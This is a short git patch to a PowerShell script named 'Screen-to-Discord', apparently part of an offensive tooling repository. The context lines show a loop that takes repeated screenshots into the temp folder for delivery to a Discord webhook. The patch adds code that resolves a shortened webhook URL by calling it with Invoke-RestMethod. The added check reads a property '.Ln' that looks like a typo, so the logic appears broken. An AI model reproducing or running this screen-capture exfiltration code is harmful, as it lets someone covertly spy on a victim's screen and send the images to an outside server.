From ffcae2d2c0fc201e18d1fc78795305d2ae5a1ffc Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Tue, 2 Jan 2024 22:08:42 +0000 Subject: [PATCH] Update main.ps1 --- Screen-to-Discord/main.ps1 | 3 +++ 1 file changed, 3 insertions(+) diff --git a/Screen-to-Discord/main.ps1 b/Screen-to-Discord/main.ps1 index 9164f5b..35a8cd4 100644 --- a/Screen-to-Discord/main.ps1 +++ b/Screen-to-Discord/main.ps1 @@ -2,6 +2,9 @@ $hookurl = "$dc" $seconds = 30 # Screenshot interval $a = 1 # Sceenshot amount +# shortened URL Detection +if ($hookurl.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $hookurl = (irm $hookurl).url} + While ($a -gt 0){ $Filett = "$env:temp\SC.png" Add-Type -AssemblyName System.Windows.Forms